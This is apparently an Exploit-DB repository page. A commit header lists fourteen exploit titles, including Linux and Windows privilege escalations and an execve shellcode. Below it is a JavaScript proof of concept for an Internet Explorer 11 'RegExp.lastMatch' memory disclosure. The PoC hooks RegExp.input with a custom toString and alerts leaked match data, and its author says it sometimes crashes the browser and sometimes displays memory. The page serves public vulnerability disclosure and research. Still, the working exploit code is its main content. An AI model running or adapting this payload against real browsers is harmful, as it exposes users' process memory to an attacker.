dd3b710ae8
14 changes to exploits/shellcodes Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' 64-bit Pool Memory Disclosure Microsoft Windows Kernel - 'NtQueryInformationThread(ThreadBasicInformation)' 64-bit Stack Memory Disclosure Microsoft Windows Kernel - 'nt!KiDispatchException' 64-bit Stack Memory Disclosure Microsoft Windows Kernel - 'nt!NtWaitForDebugEvent' 64-bit Stack Memory Disclosure Internet Explorer - 'RegExp.lastMatch' Memory Disclosure Kamailio 5.1.1 / 5.1.0 / 5.0.0 - Off-by-One Heap Overflow Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation Microsoft Windows - Desktop Bridge VFS Privilege Escalation Microsoft Windows - Desktop Bridge Virtual Registry Arbitrary File Read/Write Privilege Escalation Microsoft Windows - Desktop Bridge Virtual Registry NtLoadKey Arbitrary File Read/Write Privilege Escalation Intelbras Telefone IP TIP200 LITE - Local File Disclosure Vehicle Sales Management System - Multiple Vulnerabilities Linux/x86 - execve(/bin/sh) Shellcode (18 bytes)
33 lines
No EOL
790 B
JavaScript
33 lines
No EOL
790 B
JavaScript
/*
|
|
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.
|
|
|
|
This was tested on IE11 running on Window 7 64-bit with the latest patches applied.
|
|
|
|
PoC:
|
|
|
|
=========================================
|
|
*/
|
|
|
|
<!-- saved from url=(0014)about:internet -->
|
|
<script>
|
|
|
|
function main() {
|
|
RegExp.input = {toString: f};
|
|
alert(RegExp.lastMatch);
|
|
}
|
|
|
|
var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");
|
|
|
|
function f() {
|
|
String.prototype.match.call(input, "bbbbbbbbbb");
|
|
}
|
|
|
|
main();
|
|
|
|
</script>
|
|
|
|
/*
|
|
=========================================
|
|
|
|
Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
|
|
*/ |